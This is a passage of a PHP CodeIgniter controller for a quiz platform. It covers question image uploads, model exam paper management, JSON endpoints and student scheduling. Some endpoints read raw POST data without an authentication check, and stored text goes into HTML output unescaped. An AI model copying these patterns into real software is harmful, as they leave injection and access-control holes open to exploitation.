                    'qb_opt_d' => addslashes(trim($this->input->post('option_d'))),
                    'qb_correct_opt' => addslashes(trim($this->input->post('correctAnswer'))),
                    'qb_updated_on' => date("Y-m-d H:i:s"),
                    'qb_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                $this->load->library('upload');
                if (!empty($_FILES['imageFile']['name'])) {
                    $genObjQuesImg['upload_path'] = './assets/admin/uploads/questionBank/';
                    $genObjQuesImg['allowed_types'] = 'jpeg|jpg|png';
                    $genObjQuesImg['max_size'] = '500';
                    $genObjQuesImg['file_ext_tolower'] = TRUE;
                    $genObjQuesImg['encrypt_name'] = TRUE;
                    $this->upload->initialize($genObjQuesImg);
                    if (!$this->upload->do_upload('imageFile')) {
                        $this->session->set_flashdata('errorMessage', "Question Image File Can Not Be Uploaded As It Violates Upload File Criteria. File Size 500 KB Max. & Allowed Extension: Only *.png,*.jpg,*.jpeg.");
                        $this->createObjectiveQuestion();
                    } else {
                        $objectiveGenQestionInfo['qb_image'] = "/assets/admin/uploads/questionBank/" . $this->upload->data()['file_name'];
                    }
                } else {
                    if ($this->input->post("removeImage") != NULL) {
                        $objectiveGenQestionInfo['qb_image'] = NULL;
                    }
                }

                if (!empty($_FILES['option_a_img']['name'])) {
                    $optionAImg['upload_path'] = './assets/admin/uploads/questionBank/';
                    $optionAImg['allowed_types'] = 'jpeg|jpg|png';
                    $optionAImg['max_size'] = '500';
                    $optionAImg['file_ext_tolower'] = TRUE;
                    $optionAImg['encrypt_name'] = TRUE;
                    $this->upload->initialize($optionAImg);
                    if (!$this->upload->do_upload('option_a_img')) {
                        $this->session->set_flashdata('errorMessage', "Option 'A' Image File Can Not Be Uploaded As It Violates Upload File Criteria. File Size 500 KB Max. & Allowed Extension: Only *.png,*.jpg,*.jpeg.");
                        $this->createObjectiveQuestion();
                    } else {
                        $objectiveGenQestionInfo['oqb_opt_a_img'] = "/assets/admin/uploads/questionBank/" . $this->upload->data()['file_name'];
                    }
                } else {
                    if ($this->input->post("removeOptAImage") != NULL) {
                        $objectiveGenQestionInfo['oqb_opt_a_img'] = NULL;
                    }
                }
                if (!empty($_FILES['option_b_img']['name'])) {
                    $optionAImg['upload_path'] = './assets/admin/uploads/questionBank/';
                    $optionAImg['allowed_types'] = 'jpeg|jpg|png';
                    $optionAImg['max_size'] = '500';
                    $optionAImg['file_ext_tolower'] = TRUE;
                    $optionAImg['encrypt_name'] = TRUE;
                    $this->upload->initialize($optionAImg);
                    if (!$this->upload->do_upload('option_b_img')) {
                        $this->session->set_flashdata('errorMessage', "Option 'B' Image File Can Not Be Uploaded As It Violates Upload File Criteria. File Size 500 KB Max. & Allowed Extension: Only *.png,*.jpg,*.jpeg.");
                        $this->createObjectiveQuestion();
                    } else {
                        $objectiveGenQestionInfo['oqb_opt_b_img'] = "/assets/admin/uploads/questionBank/" . $this->upload->data()['file_name'];
                    }
                } else {
                    if ($this->input->post("removeOptBImage") != NULL) {
                        $objectiveGenQestionInfo['oqb_opt_b_img'] = NULL;
                    }
                }
                if (!empty($_FILES['option_c_img']['name'])) {
                    $optionAImg['upload_path'] = './assets/admin/uploads/questionBank/';
                    $optionAImg['allowed_types'] = 'jpeg|jpg|png';
                    $optionAImg['max_size'] = '500';
                    $optionAImg['file_ext_tolower'] = TRUE;
                    $optionAImg['encrypt_name'] = TRUE;
                    $this->upload->initialize($optionAImg);
                    if (!$this->upload->do_upload('option_c_img')) {
                        $this->session->set_flashdata('errorMessage', "Option 'C' Image File Can Not Be Uploaded As It Violates Upload File Criteria. File Size 500 KB Max. & Allowed Extension: Only *.png,*.jpg,*.jpeg.");
                        $this->createObjectiveQuestion();
                    } else {
                        $objectiveGenQestionInfo['oqb_opt_c_img'] = "/assets/admin/uploads/questionBank/" . $this->upload->data()['file_name'];
                    }
                } else {
                    if ($this->input->post("removeOptCImage") != NULL) {
                        $objectiveGenQestionInfo['oqb_opt_c_img'] = NULL;
                    }
                }
                if (!empty($_FILES['option_d_img']['name'])) {
                    $optionAImg['upload_path'] = './assets/admin/uploads/questionBank/';
                    $optionAImg['allowed_types'] = 'jpeg|jpg|png';
                    $optionAImg['max_size'] = '500';
                    $optionAImg['file_ext_tolower'] = TRUE;
                    $optionAImg['encrypt_name'] = TRUE;
                    $this->upload->initialize($optionAImg);
                    if (!$this->upload->do_upload('option_d_img')) {
                        $this->session->set_flashdata('errorMessage', "Option 'C' Image File Can Not Be Uploaded As It Violates Upload File Criteria. File Size 500 KB Max. & Allowed Extension: Only *.png,*.jpg,*.jpeg.");
                        $this->createObjectiveQuestion();
                    } else {
                        $objectiveGenQestionInfo['oqb_opt_d_img'] = "/assets/admin/uploads/questionBank/" . $this->upload->data()['file_name'];
                    }
                } else {
                    if ($this->input->post("removeOptDImage") != NULL) {
                        $objectiveGenQestionInfo['oqb_opt_d_img'] = NULL;
                    }
                }
                if ($this->TaskAndQuizManagement->updateGenralQuestionInfo($objectiveGenQestionInfo)) {
                    if (($questionImageFileName != "" && (!empty($_FILES['imageFile']['name'])) ) || ($this->input->post("removeImage") != NULL)) {
                        if (file_exists("./assets/admin/uploads/questionBank/" . $questionImageFileName)) {
                            unlink("./assets/admin/uploads/questionBank/" . $questionImageFileName);
                        }
                    }
                    if (($optionAImageFileName != "" && (!empty($_FILES['oqb_opt_a_image']['name'])) ) || ($this->input->post("removeOptAImage") != NULL)) {
                        if (file_exists("./assets/admin/uploads/questionBank/" . $optionAImageFileName)) {
                            unlink("./assets/admin/uploads/questionBank/" . $optionAImageFileName);
                        }
                    }
                    if (($optionBImageFileName != "" && (!empty($_FILES['oqb_opt_b_image']['name'])) ) || ($this->input->post("removeOptBImage") != NULL)) {
                        if (file_exists("./assets/admin/uploads/questionBank/" . $optionBImageFileName)) {
                            unlink("./assets/admin/uploads/questionBank/" . $optionBImageFileName);
                        }
                    }
                    if (($optionCImageFileName != "" && (!empty($_FILES['oqb_opt_c_image']['name'])) ) || ($this->input->post("removeOptCImage") != NULL)) {
                        if (file_exists("./assets/admin/uploads/questionBank/" . $optionCImageFileName)) {
                            unlink("./assets/admin/uploads/questionBank/" . $optionCImageFileName);
                        }
                    }
                    if (($optionDImageFileName != "" && (!empty($_FILES['oqb_opt_d_image']['name'])) ) || ($this->input->post("removeOptDImage") != NULL)) {
                        if (file_exists("./assets/admin/uploads/questionBank/" . $optionDImageFileName)) {
                            unlink("./assets/admin/uploads/questionBank/" . $optionDImageFileName);
                        }
                    }
                    $this->session->set_flashdata('successMessage', 'Objective Questions Saved Successfully');
                    redirect("admin/TasksAndQuizzes/objectiveQuestions");
                } else {
                    $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Model Paper. Try Later.');
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function getObjectiveGeneralQuestionsBySubjectAndTopic() {
        $subjectId = $_POST['subject_id'];
        $topicIds = ($_POST['topic_id'] == "") ? array() : $_POST['topic_id'];
        $smemeber_id = $_POST['smemeber_id'];
        $gen_question_info = $this->TaskAndQuizManagement->getAllGeneralQuestionsOfUser($smemeber_id, "O", $topicIds, $subjectId)->result();
        $genQuestionList = array();
        if (sizeof($gen_question_info)) {
            for ($i = 0; $i < sizeof($gen_question_info); $i++) {
                $thisQuestionInfo = array(
                    'oqb_id' => $gen_question_info[$i]->qb_id,
                    'oqb_question' => stripslashes($gen_question_info[$i]->qb_question),
                    'oqb_image' => ($gen_question_info[$i]->qb_image == NULL || $gen_question_info[$i]->qb_image == "") ? "" : "<br><img src='" . base_url($gen_question_info[$i]->qb_image) . "' width='50%' height='50%'/>",
                    'oqb_opt_a' => stripslashes($gen_question_info[$i]->qb_opt_a),
                    'oqb_opt_a_img' => ($gen_question_info[$i]->qb_opt_a_img == NULL || $gen_question_info[$i]->qb_opt_a_img == "") ? "" : "<br><img src='" . base_url($gen_question_info[$i]->qb_opt_a_img) . "' width='50%' height='50%'/>",
                    'oqb_opt_b' => stripslashes($gen_question_info[$i]->qb_opt_b),
                    'oqb_opt_b_img' => ($gen_question_info[$i]->qb_opt_b_img == NULL || $gen_question_info[$i]->qb_opt_b_img == "") ? "" : "<br><img src='" . base_url($gen_question_info[$i]->qb_opt_b_img) . "' width='50%' height='50%'/>",
                    'oqb_opt_c' => stripslashes($gen_question_info[$i]->qb_opt_c),
                    'oqb_opt_c_img' => ($gen_question_info[$i]->qb_opt_c_img == NULL || $gen_question_info[$i]->qb_opt_c_img == "") ? "" : "<br><img src='" . base_url($gen_question_info[$i]->qb_opt_c_img) . "' width='50%' height='50%'/>",
                    'oqb_opt_d' => stripslashes($gen_question_info[$i]->qb_opt_d),
                    'oqb_opt_d_img' => ($gen_question_info[$i]->qb_opt_d_img == NULL || $gen_question_info[$i]->qb_opt_d_img == "") ? "" : "<br><img src='" . base_url($gen_question_info[$i]->qb_opt_d_img) . "' width='50%' height='50%'/>",
                    'oqb_correct_opt' => $gen_question_info[$i]->qb_correct_opt,
                    'oqb_marks' => stripslashes($gen_question_info[$i]->qb_marks)
                );
                array_push($genQuestionList, $thisQuestionInfo);
            }
            $responseData = array(
                'csrfName' => $this->security->get_csrf_token_name(),
                'csrfHash' => $this->security->get_csrf_hash(),
                'available_question' => sizeof($gen_question_info),
                'question_list' => $genQuestionList,
                'message' => 'General Questions Available'
            );
        } else {
            $responseData = array(
                'csrfName' => $this->security->get_csrf_token_name(),
                'csrfHash' => $this->security->get_csrf_hash(),
                'available_question' => 0,
                'question_list' => $genQuestionList,
                'message' => 'No General Questions Available Under Selected Subject/Topic.'
            );
        }
        echo json_encode($responseData);
    }

    /* Request Handlers For Subjective Model Papers */

    public function subjectiveModelPapers() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData['modelPapers'] = $this->TaskAndQuizManagement->getAllModelExamPapersOfUser($this->session->userdata("adminData")["smember_id"], "S")->result();
            $this->load->view('admin/quizzes/modelPapers', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createSubjectiveModelPaper() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['courses'] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result();
            $this->load->view('admin/quizzes/createSubjectiveModelPaper', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveNewModelExamPaper() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('subjectCourse', 'Course', 'trim|required', array('required' => 'Please Select A Course.'));
            $this->form_validation->set_rules('subject', 'Subject', 'trim|required', array('required' => 'Please Select Any Subject.'));
            $this->form_validation->set_rules('modelPaperTitle', 'Model Paper Title', 'trim|required', array('required' => 'Please Enter Model Paper Title.'));
            if ($this->form_validation->run() == FALSE) {
                $this->createSubjectiveModelPaper();
            } else {
                $selectedGenQuestions = $this->input->post('selectedGenQuestions');
                $selectedGroupQuestions = $this->input->post('selectedGroupQuestions');
                $newModelPaperInfo = array(
                    'mepm_title' => addslashes(trim($this->input->post('modelPaperTitle'))),
                    'mepm_description' => addslashes(trim($this->input->post('modelPaperDesc'))),
                    'sm_id' => $this->input->post('subject'),
                    'mepm_type' => $this->input->post('modelPaperType'),
                    'mepm_added_on' => date("Y-m-d H:i:s"),
                    'mepm_added_by' => $this->session->userdata("adminData")["smember_id"],
                    'mepm_updated_on' => date("Y-m-d H:i:s"),
                    'mepm_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                $this->db->trans_start();
                $modelPaperQuestionMap = array();
                $mepm_id = $this->TaskAndQuizManagement->createNewModelPaper($newModelPaperInfo);
                for ($i = 0; $i < sizeof($selectedGenQuestions); $i++) {
                    array_push($modelPaperQuestionMap, array(
                        'mepm_id' => $mepm_id,
                        'qb_id' => $selectedGenQuestions[$i]
                    ));
                }
                for ($i = 0; $i < sizeof($selectedGroupQuestions); $i++) {
                    array_push($modelPaperQuestionMap, array(
                        'mepm_id' => $mepm_id,
                        'qb_id' => $selectedGroupQuestions[$i]
                    ));
                }
                if ($this->TaskAndQuizManagement->createNewModelPaperQuestionMappingMulti($modelPaperQuestionMap)) {
                    $this->db->trans_complete();
                    $this->session->set_flashdata('successMessage', 'Model Paper Created Successfully.');
                    redirect("admin/TasksAndQuizzes/subjectiveModelPapers");
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Model Paper. Try Later.');
                    redirect("admin/TasksAndQuizzes/subjectiveModelPapers");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function updateModelExamPaper() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $model_paper_type = $this->input->post("mepmType");
            $mpemUpdateData = array(
                'mepm_id' => trim($this->input->post('mepmIdEdit')),
                'mepm_title' => addslashes(trim($this->input->post('modelPaperTitleEdit'))),
                'mepm_description' => addslashes(trim($this->input->post('modelPaperDescEdit'))),
                'mepm_updated_on' => date("Y-m-d H:i:s"),
                'mepm_updated_by' => $this->session->userdata("adminData")["smember_id"]
            );
            if ($this->TaskAndQuizManagement->updateModelExamPaperInfo($mpemUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Model Paper Info Updated Successfully.');
                if ($model_paper_type == "S") {
                    redirect("admin/TasksAndQuizzes/subjectiveModelPapers");
                } else {
                    redirect("admin/TasksAndQuizzes/objectiveModelPapers");
                }
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Model Info. Try Later.');
                if ($model_paper_type == "S") {
                    redirect("admin/TasksAndQuizzes/subjectiveModelPapers");
                } else {
                    redirect("admin/TasksAndQuizzes/objectiveModelPapers");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleModelPaperStatus($mepm_id, $toUpdateStatus, $model_paper_type) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $mpemUpdateData = array(
                'mepm_id' => $mepm_id,
                'mepm_updated_on' => date("Y-m-d H:i:s"),
                'mepm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'mepm_active_status' => $toUpdateStatus
            );
            if ($this->TaskAndQuizManagement->updateModelExamPaperInfo($mpemUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Model Paper Status Updated Successfully.');
                if ($model_paper_type == "S") {
                    redirect("admin/TasksAndQuizzes/subjectiveModelPapers");
                } else {
                    redirect("admin/TasksAndQuizzes/objectiveModelPapers");
                }
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Model Paper Status. Try Later.');
                if ($model_paper_type == "S") {
                    redirect("admin/TasksAndQuizzes/subjectiveModelPapers");
                } else {
                    redirect("admin/TasksAndQuizzes/objectiveModelPapers");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function deleteModelPaper($mepm_id, $model_paper_type) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $mpemDeleteData = array(
                'mepm_id' => $mepm_id,
                'mepm_updated_on' => date("Y-m-d H:i:s"),
                'mepm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'mepm_delete_status' => 'T'
            );
            if ($this->TaskAndQuizManagement->updateModelExamPaperInfo($mpemDeleteData)) {
                $this->session->set_flashdata('successMessage', 'Model Paper Deleted Successfully.');
                if ($model_paper_type == "S") {
                    redirect("admin/TasksAndQuizzes/subjectiveModelPapers");
                } else {
                    redirect("admin/TasksAndQuizzes/objectiveModelPapers");
                }
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Model Paper. Try Later.');
                if ($model_paper_type == "S") {
                    redirect("admin/TasksAndQuizzes/subjectiveModelPapers");
                } else {
                    redirect("admin/TasksAndQuizzes/objectiveModelPapers");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function getModelPaperInfo() {
        $mepm_id = $_POST['mepm_id'];
        $model_paper_info = $this->TaskAndQuizManagement->getModelExamPaperInfoBy($mepm_id)->result()[0];
        $model_paper_gen_questions = $this->TaskAndQuizManagement->getModelExamPaperGeneralQuestionsBy($mepm_id)->result();
        $model_paper_group_questions = $this->TaskAndQuizManagement->getModelExamPaperGroupQuestionsBy($mepm_id)->result();
        $maximumMarks = 0;
        $allGenQuestions = array();
        $allGroupQuestions = array();
        /* All General Questions */
        for ($i = 0; $i < sizeof($model_paper_gen_questions); $i++) {
            array_push($allGenQuestions, array(
                'sr_no' => ($i + 1) . ".",
                'sqb_id' => $model_paper_gen_questions[$i]->qb_id,
                'sqb_question' => stripslashes($model_paper_gen_questions[$i]->qb_question),
                'sqb_image' => ($model_paper_gen_questions[$i]->qb_image != NULL || $model_paper_gen_questions[$i]->qb_image != "") ? "<br><img src='" . base_url($model_paper_gen_questions[$i]->qb_image) . "' width='50%'>" : "",
                'sqb_marks' => $model_paper_gen_questions[$i]->qb_marks
            ));
            $maximumMarks += $model_paper_gen_questions[$i]->qb_marks;
        }
        /* All General Questions */
        /* All Group Questions */
        $thisGroupQuestion = "";
        $srno = 0;
        for ($i = 0; $i < sizeof($model_paper_group_questions); $i++) {
            $record = $model_paper_group_questions[$i];
            $tempGroupQuestion = "";
            $tempGroupMarks = "";
            $tempGroupImage = "";
            $tempSrno = "";
            if ($thisGroupQuestion != $record->qg_question) {
                $thisGroupQuestion = $record->qg_question;
                $tempGroupQuestion = $record->qg_question;
                $tempGroupMarks = $record->qg_marks;
                $tempGroupImage = ($record->qg_image == NULL || $record->qg_image == "") ? "" : "<br><center><img src='" . base_url($record->qg_image) . "'/></center>";
                $tempSrno = ++$srno;
                $maximumMarks += $record->qg_marks;
            } else {
                $tempGroupQuestion = "";
                $tempGroupMarks = "";
                $tempGroupImage = "";
                $tempSrno = "";
            }
            $thisQuestionInfo = array(
                'sr_no' => $tempSrno . ".",
                'sqg_id' => $record->qg_id,
                'sqg_question' => "<b>" . stripslashes($tempGroupQuestion) . "</b><br>",
                'sqg_marks' => $tempGroupMarks,
                'sqg_image' => $tempGroupImage,
                'sub_questions' => array(
                    'sqb_id' => $record->qb_id,
                    'sqb_question' => stripslashes($record->qb_question),
                    'sqb_marks' => $record->qb_marks
                )
            );
            array_push($allGroupQuestions, $thisQuestionInfo);
        }

        /* All Group Questions */
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'mepm_id' => $model_paper_info->mepm_id,
            'mepm_title' => stripslashes($model_paper_info->mepm_title),
            'mepm_description' => stripslashes($model_paper_info->mepm_description),
            'subject_id' => $model_paper_info->sm_id,
            'subject_name' => stripslashes($model_paper_info->sm_name),
            'subject_code' => stripslashes($model_paper_info->sm_code),
            'subject_sem' => ($model_paper_info->course_time_mgmt_flag == "Y") ? $model_paper_info->sm_semester . " Year" : $model_paper_info->sm_semester . " Sem",
            'course_id' => $model_paper_info->course_id,
            'course_name' => stripslashes($model_paper_info->course_name),
            'maximum_marks' => $maximumMarks,
            'mepm_gen_questions' => $allGenQuestions,
            'mepm_group_questions' => $allGroupQuestions
        );
        echo json_encode($responseData);
    }

    /* Request Handlers For Objective Model Papers */

    public function objectiveModelPapers() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData['courses'] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result();
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData['objectiveModelPapers'] = $this->TaskAndQuizManagement->getAllModelExamPapersOfUser($this->session->userdata("adminData")["smember_id"], "O")->result();
            $this->load->view('admin/quizzes/objectiveModelPapers', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createObjectiveModelPaper() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['courses'] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result();
            $this->load->view('admin/quizzes/createObjectiveModelPaper', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveNewObjectiveModelExamPaper() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('subjectCourse', 'Course', 'trim|required', array('required' => 'Please Select A Course.'));
            $this->form_validation->set_rules('subject', 'Subject', 'trim|required', array('required' => 'Please Select Any Subject.'));
            $this->form_validation->set_rules('modelPaperTitle', 'Model Paper Title', 'trim|required', array('required' => 'Please Enter Model Paper Title.'));
            if ($this->form_validation->run() == FALSE) {
                $this->createObjectiveModelPaper();
            } else {
                $selectedGenQuestions = $this->input->post('selectedGenQuestions');
                $newObjectiveModelPaperInfo = array(
                    'mepm_title' => addslashes(trim($this->input->post('modelPaperTitle'))),
                    'mepm_description' => addslashes(trim($this->input->post('modelPaperDesc'))),
                    'sm_id' => $this->input->post('subject'),
                    'mepm_type' => "O",
                    'mepm_added_on' => date("Y-m-d H:i:s"),
                    'mepm_added_by' => $this->session->userdata("adminData")["smember_id"],
                    'mepm_updated_on' => date("Y-m-d H:i:s"),
                    'mepm_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                $this->db->trans_start();
                $objectiveModelPaperQuestionMap = array();
                $omepm_id = $this->TaskAndQuizManagement->createNewModelPaper($newObjectiveModelPaperInfo);
                for ($i = 0; $i < sizeof($selectedGenQuestions); $i++) {
                    array_push($objectiveModelPaperQuestionMap, array(
                        'mepm_id' => $omepm_id,
                        'qb_id' => $selectedGenQuestions[$i]
                    ));
                }
                if ($this->TaskAndQuizManagement->createNewModelPaperQuestionMappingMulti($objectiveModelPaperQuestionMap)) {
                    $this->db->trans_complete();
                    $this->session->set_flashdata('successMessage', 'Objective Model Paper Created Successfully.');
                    redirect("admin/TasksAndQuizzes/objectiveModelPapers");
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Objective Model Paper. Try Later.');
                    redirect("admin/TasksAndQuizzes/objectiveModelPapers");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function getObjectiveModelPaperInfo() {
        $mepm_id = $_POST['omepm_id'];
        $model_paper_info = $this->TaskAndQuizManagement->getModelExamPaperInfoBy($mepm_id)->result()[0];
        $model_paper_gen_questions = $this->TaskAndQuizManagement->getModelExamPaperGeneralQuestionsBy($mepm_id)->result();
        $maximumMarks = 0;
        $allGenQuestions = array();
        /* All General Questions */
        for ($i = 0; $i < sizeof($model_paper_gen_questions); $i++) {
            array_push($allGenQuestions, array(
                'sr_no' => ($i + 1) . ".",
                'oqb_id' => $model_paper_gen_questions[$i]->qb_id,
                'oqb_question' => stripslashes($model_paper_gen_questions[$i]->qb_question),
                'oqb_image' => ($model_paper_gen_questions[$i]->qb_image != NULL || $model_paper_gen_questions[$i]->qb_image != "") ? "<br><img src='" . base_url($model_paper_gen_questions[$i]->qb_image) . "' width='50%'>" : "",
                'oqb_opt_a' => stripslashes($model_paper_gen_questions[$i]->qb_opt_a),
                'oqb_opt_a_img' => ($model_paper_gen_questions[$i]->qb_opt_a_img != NULL || $model_paper_gen_questions[$i]->qb_opt_a_img != "") ? "<br><img src='" . base_url($model_paper_gen_questions[$i]->qb_opt_a_img) . "' width='50%'>" : "",
                'oqb_opt_b' => stripslashes($model_paper_gen_questions[$i]->qb_opt_b),
                'oqb_opt_b_img' => ($model_paper_gen_questions[$i]->qb_opt_b_img != NULL || $model_paper_gen_questions[$i]->qb_opt_b_img != "") ? "<br><img src='" . base_url($model_paper_gen_questions[$i]->qb_opt_b_img) . "' width='50%'>" : "",
                'oqb_opt_c' => stripslashes($model_paper_gen_questions[$i]->qb_opt_c),
                'oqb_opt_c_img' => ($model_paper_gen_questions[$i]->qb_opt_c_img != NULL || $model_paper_gen_questions[$i]->qb_opt_c_img != "") ? "<br><img src='" . base_url($model_paper_gen_questions[$i]->qb_opt_c_img) . "' width='50%'>" : "",
                'oqb_opt_d' => stripslashes($model_paper_gen_questions[$i]->qb_opt_d),
                'oqb_opt_d_img' => ($model_paper_gen_questions[$i]->qb_opt_d_img != NULL || $model_paper_gen_questions[$i]->qb_opt_d_img != "") ? "<br><img src='" . base_url($model_paper_gen_questions[$i]->qb_opt_d_img) . "' width='50%'>" : "",
                'oqb_marks' => $model_paper_gen_questions[$i]->qb_marks
            ));
            $maximumMarks += $model_paper_gen_questions[$i]->qb_marks;
        }
        /* All General Questions */
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'omepm_id' => $model_paper_info->mepm_id,
            'omepm_title' => stripslashes($model_paper_info->mepm_title),
            'omepm_description' => stripslashes($model_paper_info->mepm_description),
            'subject_name' => stripslashes($model_paper_info->sm_name),
            'subject_code' => stripslashes($model_paper_info->sm_code),
            'subject_sem' => ($model_paper_info->course_time_mgmt_flag == "Y") ? $model_paper_info->sm_semester . " Year" : $model_paper_info->sm_semester . " Sem",
            'course_name' => stripslashes($model_paper_info->course_name),
            'maximum_marks' => $maximumMarks,
            'omepm_gen_questions' => $allGenQuestions
        );
        echo json_encode($responseData);
    }

    public function getAllModelPaperBySubjectForDropDown() {
        $sm_id = $_POST['sm_id'];
        $mepm_id = (isset($_POST['mepm_id'])) ? $_POST['mepm_id'] : "";
        $query = $this->TaskAndQuizManagement->getAllModelExamPapersOfUserBySubject($this->session->userdata("adminData")["smember_id"], $sm_id);
        $modelPaperList = $query->result();
        $options = "";
        for ($i = 0; $i < (sizeof($modelPaperList)); $i++) {
            $selected = "";
            if ($mepm_id != "" && ($modelPaperList[$i]->mepm_id == $mepm_id )) {
                $selected = "selected";
            }
            $mepmType = ($modelPaperList[$i]->mepm_type == "S") ? "Subjective" : (($modelPaperList[$i]->mepm_type == "O") ? "Objective" : "Miscelleneous");
            $options .= "<option value=" . $modelPaperList[$i]->mepm_id . " " . $selected . ">" . stripslashes($modelPaperList[$i]->mepm_title) . " (" . $mepmType . ")" . "</option>";
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'model_paper_list' => $options
        );
        echo json_encode($responseData);
    }

    /* Request Handlers For Model Paper Scheduling & Related Stuffs */

    public function modelPaperSchedules() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $modelPaperInfo = array();
            $modelPaperSchedules = array();
            if (isset($_POST['fetchSchedules'])) {
                $selectedModelPaper = trim($this->input->post('modelPaper'));
                if ($selectedModelPaper != "") {
                    $modelPaperInfo = $this->TaskAndQuizManagement->getModelExamPaperInfoBy($selectedModelPaper)->result();
                    $modelPaperSchedules = $this->TaskAndQuizManagement->getAllSchedulesOfModelPaperBy($selectedModelPaper)->result();
                    $this->session->set_flashdata('errorMessage', NULL);
                } else {
                    $this->session->set_flashdata('errorMessage', "Please Select Any Model Paper To Get Its Schedule.");
                }
            }
            $viewData['subjects'] = $this->SubjectManagement->getAllActiveNonDeletedSubjects()->result();
            $viewData['modelPaperInfo'] = $modelPaperInfo;
            $viewData['modelPaperSchedules'] = $modelPaperSchedules;
            $this->load->view('admin/quizzes/modelPaperSchedules', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createNewSchedule() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions(array('C'))->result();
            $viewData['subjects'] = $this->SubjectManagement->getAllActiveNonDeletedSubjects()->result();
            $this->load->view('admin/quizzes/scheduleModelPaper', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveModelPaperSchedule() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('subject', 'Subject', 'trim|required', array('required' => 'Please Select Any Subject.'));
            $this->form_validation->set_rules('modelPaper', 'Model Paper', 'trim|required', array('required' => 'Please Select Any Model Paper.'));
            $this->form_validation->set_rules('scheduleStartDate', 'Start Date', 'trim|required', array('required' => 'Please Enter/Choose Start Date.'));
            $this->form_validation->set_rules('scheduleEndDate', 'End Date', 'trim|required', array('required' => 'Please Enter/Choose End Date.'));
            $this->form_validation->set_rules('allowedAttempts', 'Allowed Attempts', 'trim|required', array('required' => 'Please Select Allowed Attempts.'));
            $selectedStudents = $this->input->post('selectedStudents');
            if ($this->form_validation->run() == FALSE) {
                $this->createNewSchedule();
            } else if (!sizeof($selectedStudents)) {
                $this->session->set_flashdata('errorMessage', "Please Select At Least One Student To Schedule Model Paper.");
                $this->createNewSchedule();
            } else {
                $newModelPaperStudentAllot = array();
                $newScheduleInfo = array(
                    'mepsch_start_date' => date("Y-m-d 00:00:00", strtotime(str_replace('/', '-', trim($this->input->post("scheduleStartDate"))))),
                    'mepsch_end_date' => date("Y-m-d 23:59:59", strtotime(str_replace('/', '-', trim($this->input->post("scheduleEndDate"))))),
                    'mepsch_is_result_to_show' => trim($this->input->post('resultShow')),
                    'mepsch_is_detailed_result_to_show' => (trim($this->input->post('detailedResultShow')) == "") ? "F" : trim($this->input->post('detailedResultShow')),
                    'mepsch_allowed_attempts' => trim($this->input->post("allowedAttempts")),
                    'mepm_id' => trim($this->input->post("modelPaper")),
                    'mepsch_schedule_on' => date("Y-m-d H:i:s"),
                    'mepsch_scheduled_by' => $this->session->userdata("adminData")["smember_id"],
                    'mepsch_updated_on' => date("Y-m-d H:i:s"),
                    'mepsch_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                $this->db->trans_start();
                $schedule_id = $this->TaskAndQuizManagement->createNewModelPaperSchedule($newScheduleInfo);
                for ($i = 0; $i < sizeof($selectedStudents); $i++) {
                    array_push($newModelPaperStudentAllot, array(
                        'mepm_id' => trim($this->input->post("modelPaper")),
                        'tspi_id' => $selectedStudents[$i],
                        'mepsch_id' => $schedule_id,
                        'mepsa_allowed_attempts' => trim($this->input->post("allowedAttempts"))
                    ));
                }
                if (sizeof($newModelPaperStudentAllot)) {
                    if ($this->TaskAndQuizManagement->createNewModelPaperStudentAllotmentMulti($newModelPaperStudentAllot)) {
                        $this->db->trans_complete();
                        $this->session->set_flashdata('successMessage', 'Model Paper Scheduled Successfully.');
                        redirect("admin/TasksAndQuizzes/modelPaperSchedules");
                    } else {
